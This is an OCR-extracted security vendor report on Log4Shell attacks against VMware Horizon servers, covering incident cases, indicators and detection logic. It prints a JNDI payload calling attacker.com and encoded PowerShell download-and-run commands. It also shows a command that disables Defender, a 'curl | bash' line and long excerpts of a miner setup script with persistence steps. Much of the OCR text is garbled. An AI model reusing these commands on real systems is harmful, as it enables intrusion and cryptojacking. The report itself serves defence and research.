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HorizonBackdoor — Log4Shell vulnerability leads to VMware Horizon Servers exploitation

Based on several incident response investigations, Cynet has detected active exploitations of the Log4Shell vulnerability on VMware Horizon
Servers by different threat actors who deployed Cobalt Strike beacons, Cryptominers, and fileless reverse shells.

Additional indicators point to the Night Sky ransomware group and Memento ransomware.

Prologue

Log4j is an open-source logging framework distributed by Apache group that is widely used by well-known public services and roughly one-
third of the world’s web servers.

On December 9, 2021, an RCE (Remote Code Execution) vulnerability was disclosed within the log4j package (CVE-2021-44228, CVE-2021-
45046) which allows an attacker to execute arbitrary code on machines that utilize the logging functionality of the log4j package giving the
vulnerability its common name: Log4Shell.

For additional information and details please visit our Log4Shell Explained webpage.

Attack scenario example:
Log4Shell JNDI attack — An attacker can craft the following HTTP header and send it to the target application:

By using the technique above to exploit the vulnerability, a
GET /HTTP/1.1 simple Python script can be used to trigger an RCE on a
Host: vulnerable.com vulnerable server:

User-Agent: ${jndi:ldap://attacker.com/path/to/malicious/Java_class}

1/26


https://www.cynet.com/attack-techniques-hands-on/threats-looming-over-the-horizon/
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45046
https://www.cynet.com/log4shell/

Another example of the Log4Shell JNDI attack is demonstrated by the Swiss Government CERT:
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Following the Log4Shell exploits, VMware reported that several of its products were vulnerable. You can find the full list here.
One of the reported products is VMware Horizon, which is being used for digital workspaces that offer virtual desktops and apps across the
cloud. You can find a VMware disclosure report here.

Timeline of Log4Shell and VMware Horizon exploitation:

» December 9th, 2021 — Log4j vulnerabilities were discovered and classified with the CVSS score of 10 (Critical).

o December 10th, 2021 — VMware reported on Apache Log4j Remote Code Execution Vulnerabilities on several products.

o Starting January 1st, 2022 — The Cyber Security community began reporting on threat actors who are actively trying to exploit VMware
Horizon while abusing the log4j vulnerability. In these exploitation attempts, threat actors were using the log4j vulnerability found in the
Apache Tomcat service embedded in VMware Horizon.

VMware has published recommendations & mitigation steps for the vulnerability, including patches:

https://kb.VMware.com/s/article/87073

Downloads Release Notes

Horizon 2111 VMware Horizon 8 2111 Release Notes
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Horizon 7.13.1 VMware Horizon 7 version 7.13.1 Release Notes

Horizon 7.10.3 VMware Horizon 7 version 7.10.3 Release Notes

Case Overview:

At the beginning of January 2022, Cynet’s Orion threat research and intelligence team observed threat actors abusing the Apache Tomcat
service and utilizing the Log4Shell vulnerability to exploit VMware Horizon servers to gain initial access to the environment.

The threat actors deployed additional payloads and established communication to C2 servers, Cobalt Strike beacons, Cryptominers, etc.

Based on the IOCs (indicators of compromise) and the TTPs (tactics, techniques, and procedures) observed, we believe that Chinese-based
ransomware operators dubbed Night Sky (and tracked by Microsoft as DEV-0401) is behind on some of the attacks.
On January 11th, Bleeping computer reported “Night Sky ransomware uses Log4j bug_ to hack VMware Horizon servers®.

In addition to the Chinese-based ransomware operators, we observed unknown threat actors using Cobalt Strike on vulnerable VMware
Horizon servers.
These unknown threat actors abused PowerShell to load and inject a fileless beacon into the memory.

We have also responded to an incident where threat actors attempted to establish a reverse shell session through a PowerShell command.
According to our observations, in all these cases the process ws_tomcatservice.exe was involved.

o Path: c:\program files\VMware\VMware view\server\bin\ws_tomcatservice.exe
¢ Command-line: ws_TomcatService.exe” -SCMStartup TomcatService

From our IR case, here are some examples of ws_tomcatservice.exe executing PowerShell encoded commands:

Jan 11, 2822 @ 12:56:34.808 powershell.exe -exec bypass -enc aQBlAHgATAAoACgATGBLAHCALQBPAGIAagBlAGMAdAAGAFMAEQBZAHQAZOBtAC4ATGBLAHOALGBXAGUAYgBDAGKAROBIAGA c:\program files
AdAADAC4ARABYAHCAbgBsAGBAYQBKAFMAdABYAGKADGBNACGA WBoOAHQADABWADOALWAVADEAOAATACAAMOAXADTAL gA4 ADMAL gAXADEANGAGADGAMAAAADAALWBKAHI  \vmware\vmware vi
AdgAnACkaA ew\server\bin\Jf

[tomcatservice. exel

08:23:16.808  powershell -nop -ec JABjAGwAaQBlAG4AdAAgADBATABOAGUAWATAESAYQBGAGUAYWBBACAAUWBSAHMAJABLAGBAL gBOAGUAdAAUAFMADWE jAGSAZQBBAHMALGBU  c:\program i@ Q|
AEMAUABDAGWAaQB1AG4Ad AADACT AMOABADT AL gABADQAL gAy ADUAMQAUADCANWA 1 ACWANAABADQANQADADSAJABZAHOACGB1AGEADQAGADBAT AAKAGHADABPAGUADGBE  \vmware\vmware vi
ACAARWB1AHQAUWBBAHT AZ(QBhAGBAKAApADS AlwB1 AHKAdAB1 AFs AXQBJACOAY GBS AHOAZQBZACAAPQAGADAAL gAUADY ANQATADMANOBBACUAeWAWAHBAOWB3AGgAADBS  ew\server\bil
AGUAKAAOACQASQAGADBAT AAKAHMAJABYAGUAYQB tAC4AUGB1AGEAZAAOACOAYgB5AHDAZQBZ ACWAT AAWACWAT AAKAGT AcQBBAGUACWAUAEWAZ 0BUAGCAJABOACKAKDAG
ACBAbGBLACAAMAAPAHSAOWAKAGQAYQBOAGEATAAACAAKABOAGUAdWAT AEBAYgBGAGUAYWBBACAALQBUAHK ACABLAE4AY QB tAGUATABTAHKACWBBAGUADQAUAFQAZQBA
AHOAL gBBAFMAQWBJAEK ARQBUAGMAbWBKAGK AbgBnACk AL gBHAGUAJABT AHOACOBPAG4AZWAOACOAYgBEAHOAZ (BZACWAMAASACAAJ ABPACK AOwA K AHMAZ QBUAGQAYgBh
AGMAawANANAATAANAGKAZORAACAL JARKAGF AdARhACAAMOA+ACY AMDANAHWA T ARPAHUAAAAT AFMAdARVAGK AhoRNACAAKNATACOAcwRTAGAAT AR AGFAYWRrADTATAAQ

8:21:84.000 powershell -nop -ec JABjAGwAaQBlAG4AdAAGADBAIABOAGUAdwAtAEBAYgBGAGUAYWBBACAAUWBSAHMAAABIAGBAL gBOAGUAAAUAFMAbWBjAGSAZOQBEBAHMALGBU  c:\program fil
AEMAUABDAGWABQB1AGAAd AAOACT AMQABADI AL gABADQAL gAy ADUAMOAUADCANWA: ACWANAABADOANGApADSAJABZAHOACGBIAGEADQAGADBATAAKAGHADABPAGUADGBS  \vmware\vmware vi
ACAARWBLAHOAUWERAHT AZQBhAGBAKAADADSAWWB1AHKAQABLAF SAXDBJACOAYgBSAHOAZOBZACAAPOAGADAAL gAUADY ANQA ADMANOBBACUAeWAWAHBAOWB3AGgA0BS  ew\server\bin\JEN
AGUAKAAOACQASQAGADBAT AAKAHMAJABYAGUAY (B tAC4AUGBTAGEAZ AROACGAYBEAHDAZBZ ACWAT AAWACWAT AAKAGT AcQBBAGUACWAUAEWAZ 0BUAGCAJABOACKAKDAG
ACBAbGBLACAAMAAPAHSAOWAKAGOAYOBOAGEAT AAOACAAKABOAGUAdWAT AEBAYgBGAGUAYWBBACAAL OBUAHKACABLAE4AY QB tAGUAT ABTAHKACWBBAGUADQALAFQAZQBA

AHOALgBBAFMAQwBJAEKARQBUAGMADbWBkAGK AbgBnACKAL gBHAGUAdABTAHQACGBpAGAAZWAOACQAYgB5AHQAZ0BZACWAMAASACAAJABPACKAOWAKAHMAZ QBUAGQAYgBh
AGMAAWANANAATAANAGK A7 ORAACAA JARKAGF AdARhACAAMAA+ACY AMDANAHWAT ARPAHIIAdAAT AFMAdARVAGK AhnRNACAAKNATACOAcwR TAGAA7 AR AGFAYWRrADTATAAG

powershell -nop -ec JABjAGwAaQBlAGAAdAAgADBAIABOAGUAwATAESAYQBqAGUAYWBBACAAUWBSAHMAAABLAGBAL gBOAGUAdAAUAFMADWB JAGSAZQBBAHMALGBU  c:\program files
AEMAUABDAGWAS(QB] AG4AdAADACT AMOABADT AL gABADOAL gAyADUAMOAUADCANWAT ACWANAABADCANOADADSAJABZ AHOACGR ] AGEABQAQGADBAT AAkAGMABABPAGUAbGBE  \vmware\vmware vi
ACAARWBLAHOAUWBBAHT AZQBhAGBAKAADADS AWWB 1 AHKAQABLAF sAXDBAACOAYgBSAHOAZOBZACAAPOAGADAAL gAUADY ANQAT ADMANOBBACUAewAWAHBAOWB3AGGAANBs  ew\server\bin\JE
AGUAKAADACQARQAGADBAT AAKAHMAJABYAGUAYQBtAC4AUGB1AGEAZ AAOACOAY GBS AHDAZQBZ ACKATAAWACWAT AAKAGT A2 QBBAGUACWAUAEWAZ QBUAGCADABOACKAKDAG
ACBADGBLACAAMAADAHS AOWAKAGOAYQBBAGEATAAJACAAKABOAGUAdWAT AEBAYgBGAGUAYWBBACAALOBUAHKACABLAEAAYQBt AGUATABTAHK ACWBBAGUABOAUAF AZOBA
AHOAL gBBAFMAQWE.JAEK ARQBUAGMAbWBKAGK AbgBnACKAL gBHAGUAJABTAHOACGBPAGAAZWADACTAYGR5AHOAZ 1B 7 ACWAMAAS ACAA ABPACK AOWAKAHMAZ QBUAGOAY gBh
AGMAawANANAATAANAGKA7ORAACAL JARKAGF AdARhACAAMOA+ACY AMDANAHWATARPAHUAAAAT AFMAdARVAGK AhoRNACAAKNATACOAcwRTAGAAT AR AGFAYWRrADTATAAQ

8:20:24.000 powershell -nop -ec JABjAGwAaOQBlAG4AdAAQADBATABOAGUAdwATAEBAYgBGAGUAYWBBACAAUWBSAHMAABIAGBAL gBOAGUAdAAUAFMABWEjAGSAZQBBAHMALGBU  c:\program files
AEMAUABDAGWAS(QB]AG4AdAADACT AMOABADT AL gABADOAL gAYADUAMOAUADCANWAT ACWANAABADOANOADADSAJABZ AHOACGE ] AGEABQAGADBAT AAKAGMABABPAGUAbGES  \vmware\vmware vi
ACAARWBLAHOAUWEBAHT AZQBhAGBAKAADADS AWWB 1 AHKAGABLAF sAXOBAACOAYgBSAHOAZOBZACAAPOAGADAAL gAUADY ANQAT ADHANOBBACUAewAWAHBAOWB3AGgAAQBs  ew\server\bi
AGUAKAADACQARQAGADBAT AAKAHMAJABYAGUAYQBtAC4AUGB1AGEAZ AAOACOAYgBSAHDAZQBZ ACKAT AAWACWAT AAKAGT A2 QBBAGUACWAUAEWAZ QBUAGCAJABOACKAKDAG
ACBABGB1ACAAMAADAHS AOWAKAGOAY(BBAGEAT AASACAAKABOAGUAdWAT AESAYBGAGUAYWBBACAAL QBUAHKACAB]AE4AY(QBTAGUATABTAHKACWBAAGUABQAUAF QA7 QB4
AHOALGBEAFMAQWE.JAEK ARQBUAGMABWBKAGK AbgBnACKAL gBHAGUAABT AHOACGBPAGAAZWAOACTAY gBSAHOAZOBZ ACWAMAASACAAJ ABPACK ADWAKAHMAZ OBUAGOAY gBh
AGMAawANANAATAANAGK A7ORAACAL JARKAGF AdARhACAAMOA+ACY AMDANAHWATARPAHUAAAAT AFMAdARVAGK AhoRNACAAKOATACOAcwRTAGAAT AR AGFAYWRrADTATAAQ

Following this information and the execution commands via the ws_tomcatservice.exe process, the threat actors automatically gained system
privileges (nt authority — system).

0S Version Windows Server 2816 Standard x64 1687

Parent Process Details.Process CreationTime A 2621-88-22 18:25:89

Parent Process Details.Process PID 4,576

Parent Process Details.Process Params “C:\Program Files\VMware\VMware View\Server\hin\' -SCMStartup TomcatService
Parent Process Details.Process Path c:\program files\vmware\vmware view\server\bin\ |G IEIREE NG

Parent Process Details.Process Running User ‘nt authority - system

Parent Process Details.Process

Parent Process Details.Process Jee| 3872 :HVI2CDY2ZWH38Ix+YZPU9/TJROVXQTbj126 :HVI2C3WXz+8PCxThg

Parent Process Details.Process is signed Signed and cataloged

Process Details.Process CreationTime 20822-61-83 088:28:23

Process Details.Process PID 3,288
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Detection logic suggestions:

The first detection suggestion is based on the above information:

MITRE reference: TAO001 (Initial Access), T1190 (Exploit Public-Facing Application)

+ Parent process name: ws_tomcatservice.exe

o Parent process path: %ProgramFiles%\VMware\VMware View\Server\*

o Child process: CMD or PowerShell
In addition, we recommend monitoring all known LOLBins (Living Off the Land Binaries) that allow download or execution
methods.

Note that the community shared a Sigma rule which covers a similar logic:
https://github.com/SigmaHQ/sigma/blob/70deac624004fd9d3c0326cd897042b5f5bc574b/rules/windows/process_creation/win_webshell_spa
wn.yml#L.20

We observed threat actors that carried out research on the “VMware View” installation and noticed that one of the binaries being installed as
part of “VMware View” is node.exe.
This binary allows threat actors to use it as a LOLBIn for the execution flow.

Path: C:\Program Files\VMware\VMware View\Server\appblastgateway\node.exe

The node.exe process executed cmd.exe as part of the exploitation:

Time file_path new_process_command_line process_path

Jan 17, 2622 @ 85:41:38.993  c:\windows\system32\cmd.exe C:\Windows\system32\cmd.exe /d /s /c 'cmd.exe’ c:\program files\vmware\vmware view\server\appblastgateway'\node.exe

The full kill-chain flow from our logs:

Grandparent process: c:\program files\VMware\VMware view\server\bin\ws_tomcatservice.exe
Parent process: c:\program files\VMware\VMware view\server\appblastgateway\node.exe
Process: c:\windows\system32\cmd.exe

Based on this information, we have created another detection logic suggestion:

MITRE reference: TAOOO1 (Initial Access), T1190 (Exploit Public-Facing Application)

+ Grandparent process: ws_tomcatservice.exe

o Grandparent process path: %ProgramFiles%\VMware\VMware View\Server\*

o Parent process: node.exe

» Parent process path: %ProgramFiles%\VMware\VMware View\Server\*

o Parent process command-line contains: -e or —eval

¢ Child process: CMD or PowerShell
In addition, we recommend monitoring all known LOLBiIns (Living Off the Land Binaries) that allows download or execution
methods.

Below we will cover several cases of VMware Horizon exploitation attempts.

Initial Access — TAOOO1 (Initial Access), T1190 (Exploit Public-Facing Application)

Based on MITRE ATT&CK, the incidents started with the “Exploit Public-Facing Application” technique against the VMware Horizon servers,
which is part of the “Initial Access” tactic.

In case #1 below, we cover the XMRig crypto-mining trojan. In addition, to the installation of the XMRig, we have also identified indicators that
lead us to conclude that the threat actors behind the incident are related to the Night Sky ransomware group (Case 1.1).

Case 1 - XMRig:

Xmrig.exe is part of XMRig open-source CPU/GPU cryptocurrency mining software. XMRIig is known as an easy-to-use miner, offering user-
friendly options to configure the miner according to the user’s preferences.

This incident was detected on Windows Server 2016 Standard x64 and Windows Server 2019 Standard x64, both of which are VMware
Horizon servers.

Execution flow:
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Parent process: c:\program files\VMware\VMware view\server\bin\ws_tomcatservice.exe
Child process: cmd /C ‘powershell.exe -ExecutionPolicy Bypass -NoLogo -Nonlinteractive -NoProfile -WindowStyle Hidden -EncodedCommand
JAB3AGMAIAA9ACAATgBIAHCALQBPAGIAagBIAGMAJAAgAFMAeQBzAHQAZQBtAC4ATgBIAHQALGBXAGUAYgBDAGWAaQBIAG4AdAATA

A CMD instance executed via the ws_tomcatservice.exe process with a /C parameter that executes a PowerShell command encoded in
Base64. The PowerShell instance is executed with the following parameters:

« -ExecutionPolicy Bypass; Ignores the execution policy restriction and runs the code without any warning.
+ -NolLogo; Hides the copyright banner at startup.

+ -Nonlnteractive; Does not present an interactive prompt.

» -NoProfile; Does not load the PowerShell profile.

» -WindowStyle Hidden; Hides the PowerShell window.

e -EncodedCommand; Executes an encoded base64 command.

The decoded command:

$wc = New-Object System.Net.WebClient;
$tempfile = [System.lO.Path]::GetTempFileName();

$tempfile += ‘.bat’;
$wc.DownloadFile(‘http://72.46.52[.]135/mad_micky[.]bat’, $tempfile);

& $tempfile

The above command uses System.Net.WebClient Class to access a web page, in our case the C2 server 72.46.52[.]135.
The command downloads the file “mad_micky.bat” and overwrites a file located in the %temp% directory.

We downloaded mad_micky.bat for further analysis:

Esarpleba 3|

eference -DisableRealtimeMonitoring $true"
e \mimul”

t

echo now is running
exit /b 1

existl
1 -Command "Swc = New-Object System.Net.WebClient: Stempfile = [System.IO.Path]::GetTempFileName(): Stempfile 4= '.pat'; $wc.DownloadFile('http://72.46.52.135/mad.bat", $tempfile); & Stempfile ; Remove-Item -Force
Stempfile|

mad_micky.bat — Batch file including malicious content.

First, the malicious batch file provides an indication on a PowerShell command that disables the real time monitoring in Windows.
Line 2: Powershell -c “Set-MpPreference -DisableRealtimeMonitoring $true”

The above command is related to the Impair Defenses technique — MITRE T1562.
Threat actors disabled Windows Defender real-time monitoring in order to prepare the compromised host for the next stage of payloads.

Then, it checks whether following path exists:
%USERPROFILE%\mimu1 — C:\users\{current_userj\mimu1

If the condition is met, the flow “exist1” is taken — It checks whether the process “xmrig.exe” is running, and if it is running, it prints “now is
running”.

If the condition is not met, the flow “exist” is chosen — Using “[System.|O.Path]::GetTempFileName(), it creates a temp file from in the
AppData\Loca\Temp\ directory and assigns it to the variable $tempfile.
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PS C:\Users\adssisa> $tempfile = [iystem. I0.Path]::GetTempFileName ()

Ps C:\Users\adasiw> $tempfile
C:\Users\&sid \AppData\Local\Temp\tmpBAF6 . tmp

PS C:\Users\mlamin> |

The temporary file is used to contain the payload which is downloaded from the following URL:

hxxp://72.46.52[.]135/mad[.Jbat

wn § (set ADMIN=1) else (set ADMIN=G

r.bat ~cwallet address®> [*cyour email address™>]

exit /b 1

After the payload (which now resides in the temporary file) is downloaded, it gets executed and than deleted from disk.

As you can see in the image below, the downloaded payload — (batch file), contains the XMRig miner configuration:
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if SEXP MONERO HASHRATES gtz 2 ( set PORT=10002 & goto FORT_OK )
set PORT=10001

:PORT_OK
rem printing intentions

set "LOGFILE=4USERPROFILES\mimu\xmrig.log™

echo I will download, setup and run in bacrqzound ich logs in SLOGFILE: file.

echo If needed, miner in foreground can be started by & *\mimu\miner.bat script.
echo Hining will happen to SWALLETS: wallet.

Af not [SEMATL®] == [] (
a ~(and SEMAILS il as password to modify wallet options later at https://mimu.stscam site”)
)
echo.
if SADMING == O (

echo Since I do not have admin access, mining in background will be starced using your scartup directory script and only work when your are logged in this hosc.

) else |
eche Mining in background will be performed using mimu_miner service.
)

echo.
echo JFYI: This host has $NUMBER OF PROCESSORS% CPU threads, so projected Monero hashrate is around %EXF MONERO HASH
echo.

rem start doing stuff: preparing miner

echo [*] Removing previous mimu miner (if any)
3¢ stop mimu_miner

sc delete mimu miner _[
taskkill ff /o fim xmrig.exe

:REMOVE _DIRD

acho [*] Removing "RUSERFROFILE:\mimu" directory

The code above indicates the mining of the Monero cryptocurrency.

If the victim has user privileges, the miner achieves persistence by copying the miner batch file from %userprofile%\mimu\miner.bat to the
startup folder.

Y%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

Y%userprofile%\Start Menu\Programs\StartUp

The above activity is related to the MITRE sub-technique “Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder”

260 ) > "%USERPROFILE:*\mimu\miner.bat"

261

262 rem preparing script background work and work under reboot

263

264 if *ADMIN% == 1 goto ADMIN MINER SETUP

2§5

266 if exist "SUSERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Starcup" (

267 set "STARTUP DIR=%USERPROFILE%*\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"”
© goto STARTUP DIR CK

)

if exist "S*USERPROFILE%#\Start
set "STARTUP DIR=%USERPROFILE%*\Start Menu\Programs\Startup"
goto STARTUP_DIR OK

)

=) o

J RN N R RN R
]
Jontn b w - ol o

u\Programs\Startup” |

=)

~J

i Y

~J

echo ERROR: Can't find Windows startup directory
exit /b 1

-J

d

-3

:STARTUP DIR OK

[N
-3
W o

echo [*] Adding call to ":USERPROFILE%\mimu\miner.bat"™ script to "#STARTUP DIR%\mimu miner.bat™ script

o0 T

281 echo @echo off

282 echo "%USERPROFILE#\mimu\miner.bat” --config="%USERPROFILE*\mimu\config background.json"
283 ) > "&STARTUP DIR'\mimu_miner.hnt'

284

285 echo [*] Running miner in the background

286 call "#STARTUP DIR*\mimu miner.bat”

287 goto OK

280

If the victim has admin privileges, the miner installs a service for the miner by using PowerShell to download additional tools from
hxxp://lurchmath[.]Jorg/wordpress-temp/wp-content/plugins/nssm|.]zip

To setup the miner (mimu_miner) service, it downloads the tool to %userprofile% path as a zip file: “%userprofile%\nssm.zip”
nssm.zip — Non-Sucking Service Manager (NSSM) is a service helper program that assists in installing an application as a service.
Then it extracts the zip file to the ““%userprofile%\mimu”,
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IE%  :ADMIN_MINER SETUF

jscho [*] Downloading tools to make mimu miner service to "SUSERPROFILEV\nssm.zip®
11 =Command "Swc = New-Object System.Net.WebClient: Swc.Dow ile (*hreo://1 org, semp, /plugins‘nesm.zip', 'YUSERPROFILES\nssm.zip’)"
level 1
echo ERROR: Can't download tools to make mimu_miner service
exit /b 1
)
287
283 wcho [*] Unpacking "&%0 ROFILER\nasm.zip™ to "HUSE E&\mimu™

288 powershell -Command “Ad ype -AssemblyName System.I
300 1f errorlevel 1 |

-Compression.FileSystem: [System.I0.Compressicn.IipFile]::ExcraccToDirectory("s

301 Downloading 7za.exe to "% FILE%\7za.exe”

3oz hell -Command "Swe = New-Cbject System.Met.WebClient; Swe. 1le("hoto: /] h.org, S-Temp /plugins/Tza.cxc", "SUSE ILE#\Tza.exe")"
303 if arrorlevel 1 |

304 echo ERROR: Can't download 7za.exe to "iUS FILE3\7za.exe"
305 exit /b 1

306

307 acho [*] Unpacking "HUSERPROFILEY\nssm.zip® to "

ioe "AUSERPROFILES\7za.exe”™ x -y -o"SUSERPROFILES\mimu

309 if arrorlevel 1 |

310 echo ERROR: Can't unpack "HUSERFROFILEV\nssm.zip™ to

i1 exit /b 1

312 ]

313 dal FILE®\7za.exe”

314 )

315 dal "RUSERPROFILE:\nasm.=zZip”

317 echo [4] Creating mimu miner service
318  s=c atop mima miner

319 =c delete mﬂ_ﬂlnﬁt

320 =c stop c3pool miner

If extracting the zip file fails, it downloads the 7zip (7za.exe) tool in order to succeed in unpacking/unziping the nssm.zip file.

It then uses the nssm-service manager tool to create the service “mimu_miner” to execute \mimu\xmrig.exe
If the creation fails, it attempts to create mimu_miner as AppDirectory service.

MITRE Sub-Technique “Create or Modify System Process: Windows Service”

echo [*] Creating mimu_miner service
Sc Stop mimu_miner

sc delete mimu miner

sc stop c3pool_miner

aC r
|"-UHE.R!‘RUF[l,r}-\mnm\nssm.exe' install mima miner "$USERPROFILE\mimu\xmrig.exe" ]
T I

echo ERROR: Can't create mimu miner service
exit /b 1

)

"HUSERPROFILEY \mimu\nssm.exe” set mimu miner AppDirectory "%*USERPROFILE%\mimu"
"*USERPROFILE®\mimu\nssm.exe" set mimu miner AppPriority BELOW_NORMAL PRIORITY_ CLASS
"RUSERPROFILE®\mimu\nssm.exe™ set mimu miner AppStdout "$USERPROFILE%\mimu\stdout”
"#USERPROFILEY \mimu\nssm.exe™ set mimu miner AppStderr "%USERPROFILE%\mimu\stderr"

echo [*] Starting mi_mu_m.i.ne.t service
"USERPROFILEY \mimu\nssm.exe™ start mimu_miner
if errorlevel 1 |
echo ERROR: Can't start mimu miner service
exit /b 1

echo
echo Please reboot system if mimu miner service is not activated yet (if "SUSERPROFILE%\mimu\xmrig.log" file is empty)
goto OK

echo
echo [*] Setup complete
exit /b 0

:strlen string len
setlocal EnableDelayedExpansion
set "token=#%~1" & set “"len=0"

Ei\nsam.zip', 'SUSERPROFILE\mimu')"

In addition, the XMRig miner configuration is revealing the attacker’s dedicated Monero pool.
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1 Gecho off
2
3 set VERSION=2.5
a1
-1 rem printing greetings
&
7 echo MoneroOcean mining setup script viVERSION%®.
2 echo "~ (please report issues to support@mimu.stream email”™)
S echo.
10

11 net session >nul 2>&1
12 if %errorlevel: == 0 (set ADMIN=1) else (set ADMIN=0)

13
14 oo 4 liza ™
15 set WALLET=43DTEFS2beéXcPj5Z70%6g40GeebUxkFqSwyHcNTelotM2hUr fvdswGdLExabCSTio Taponls SNBSS iv 10 ToNCmANC S § [

16 rem this one is optional
17 set EMAIL=%2

19 rem checking prerequisites

21 if [SWALLET&%] = [] (
22 echo Script usage:

23 echo "> setup _mimu miner.bat “<wallet address”> [“<your email address®>]
24 echo ERROR: Please specify your wallet address

25 exit /b 1

26 )

27

28 for /f "delims=." %%a in ("%WALLET%") do set WALLET BASE=%%a

28 call :strlen "WALLET BASE%", WALLET_ BASE_LEN

30 if %WALLET BASE LEN% = 106 goto WALLET_ LEN OK

31 if YWALLET BASE LEN% == 95 goto WALLET LEN OK

32 echo ERROR: Wrong wallet address length (should be 106 or 95): *WALLET BASE LEN%
33 exit /b1l

34

35 :WALLET_LEN OK

36

37 if ["$USERPROFILE%™) == ["%] (

as echo ERRCOR: Please define USERPROFILE environment variable to your user directory
3s exit /b 1

40 )

During the investigation, we have observed the IP address 195.201.124[.]214, which is a mining pool address for the miner configuration
related to MoneroOceans mining pools.

330 | echo BARNINGI Stock version of =+lgRFeOFlLES \RIWG\ARIig.eXe” i8 ot functicmal

331 ) edee |

333 echo WARNING: Stock version of "AUSERFROFILES\mimG\XEEig.exe” was removed by ansivirus
223 )

235 exit /b 1
337 (MIWER_OK

338 mcho [+] Mimer TSUSERFROFILEA\mimu\mmrig.-exe® is CF

331 for /f “tomenE=s
233 Af [WRASSE] == [ (
333 smt FASS-za

s in |"powershell -Command "hostname | 415 -replace °["a-zh-23-8]+", '_'17'} do et PASS=iia

)
235 1f not [WEMAILY) ==
336 met "PASS=PASSH]

| %4i8_ ~replace
5_ -veplace

mamu'congig. Jece"
hcoarig.json'
Ev\mamulcongig. seen’

out | Cut-File -Encoding ASCIT

~Command "§ous = o I LEing:
Command 100,'} | Cut-String; Bout | Cut-File -Emcodisg

“fous = cat *

243 GFTLE: LA\
208 *Gout ® cat ‘AUSERFROFILENusima\comfig.ison | %% (6_ =peplace *\"logefil#1"t *mull,, *\"log=file\®t \"ALOGFILEI®\",*] | Out=String: fout | Out=File =Encoding ASCII *SUSERFROFILEV\ims\comfig.isan'®

245

246 . ERFROPILE 1q_t 1s08% wHOL

7 TFILEV\mims\ config_background.dsca’ | 9416 -replace '\"background\®: ‘false,’, "\"backgrousd\®: trus,'} | Qut-Strings Sous | Ous-File -Encoding ASCII 'AOSERFROFILES\mims\config backgrousd,jscn'®

251 meho fecho off
352 echo casklist /fi "imagename eq EETig.eme® °| £ind "% “NUL
253 seha Lf serarlewel 1 Gars ALAPADY BOSNTHG
354 wcho starc /low V-dplumTig.eme AASY
255 eeho gote EXIT
wcho :ALREADY RIMMING
257 echo echo Momerc miner is already Tunning in the background. Refusing to ran amother one.
258 mcho scho Bum "maskEill JIM smrig.exe® Lf you want to remsve backgrousd miser first.
358 echo (EXIT

According to VirusTotal, the IP address is indeed related to the “MoneroOceans.stream” domain.
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Reference:

https://moneroocean.stream/
https://old.moneroocean.stream/#/dashboard
https://github.com/xmrig/xmrig/

Using the pool address and the website related to it, we can get a better understanding of the attack scale:
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The pool was created on January 14th, it is comprised of 773 infected machines, dedicating parts of their CPU to the threat actors pool, and it
is currently running at a rate of 0.5 XMR (Aprox 30$) per day.
It is worth mentioning that threat actors usually lower their risk by setting up several pools for the same campaign.

In the next case, on the same compromised machines where the XMRig was installed,we observed the following command execution:

Case 1.1 — Cryptominer for Linux:

cmd /C ‘curl 72.46.52[.]135/dI[.Jsh | bash’

Here, the C2 server responds with “Not Found” and the file dl.sh is not available on the C2 server.
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404 Not Found

VirusTotal - Home W CyberC A MalwareBazaar | M...

Not Found

The requested URL /dl.sh was not found on this server.

But navigating to the IP address reveals the following MoneroOcean setup script:

07 ), then echo “WARNING:

ease feport isvars 16 suppon Ensoneroocesn stream emal with full evtpy “bash” optien)” echo
SZTUS6gloGeshlnkFq@uyHoN Tel ot UrFrdswiGdl HuabCSTioT apo\\ﬂn vV TuNoNCNAMZI” 3 ome is optional # checking presequisites if [ -2
ut wallet address” exit 1 § WALLET_BASE="echo SWALLET | cur-f1 -4 106 -2 § [SWALLET_BASE]
REOR: This scrip cequines “curl " uiliy 1o woek cosrecily” exit 1 6161 c WARNTNG- This scrigs requires
U ( \U_THREADS * 700 “Tho0 bif [ -z
[- Mg

&1l bush VERSIO!
Generally it & not ad
SWALLET |, then echo "Scngt usage.” echo “> setup
base address lengrh (should be 106 ar 93§

1
1000 + SPOR]

fm:m' echo

1 " else echo *1
lhguecl:o "ERROR. Casi't compute pon” exit urj “SPORT
fareground can be started by ‘dev shm' mame miner sh scnpt ™
“Simee | can’t do passwordless yudo,
U threads, 3o projected Monero hashrate
-9 xmrig eche “[*] Removin
bt rave. githubasercoment com MoneroOcean mmrig_s
ERROR.: Casi't unpack /dev s xmig tar g 10 det \h:lu mims digectory * et |
dew 'shen mnimu config jsoa  dev "
amtivirus {or some other probl

dew shen s direces

danate-level”
‘shim i emrig was removed by
{RIG, LINUX_ RELEASE~"hitps:gitub.com” curl -

. RELEASE -0 dev shm waarig tar g7; then echo ERROR
<'shen g tar g2 1o

NING: Advanced vernioa af dev/shin s xerig £ not fune
xmng xmng releases latest | grep -o
xmrig tar gz if | curl -L —progress-b & 3
ar xf /e sh'n N‘.mn,f tar gz -C 'dev'shm’ mimu —-stnp=1; then echo
[ 1", " donave-level”

E ersion mimu xmrig was removed i
wed | 5 - 3 2 55="1p route t’.‘\‘ 1) awk'{ rfml SNFoexit]” fiaf [ -2 SPASS |, then PASS=na fi of [ ! -z SEMAIL ]; then PAS!
joca sed -i ' "mser”; [ I s “SPASS™," devikan mimu config jocm bed -i ' “mas-cpu-usage -[
v/ shm’ mamws xmng log” shm’ mams config json cF dev 'shm' mumu coafig json /dev'shm IDIIDII comfig_b
epa er sh = dev nall; then mice | dev/shen misni xmes
£f you want to rem: ground work and work under reboot if ! sudo -n trus ‘devnull; then
vl 281" == dev'shm profile else echo “Looks kike ‘dev'shm mame miner sh s w8 alresdy m the ‘dev/shm profile” i scho *
shin msine coefig_background jsca > dev null 381 else if [ ${grep MemToral proc meminfa | avi: '{priss $2') > 3300000 JJ; then scha "[¥] Enabling buge pagss
fi type systemctl > dev mull, then echo “[*] Running muner m the background (see logs in ‘dev shm mumu xmng log file)” bin bash ‘dev 'shm' mame maner sh -
¢ 10 wark cameetly.” ccho “Plemse mavt 1o & more modem P fier reboot yourselfif possible,” el echo [*] Creanag
sudo systemct] start moneroocean_muner service echo “To see miner serv gs run " sudo pournalet] -u monercocean_miner

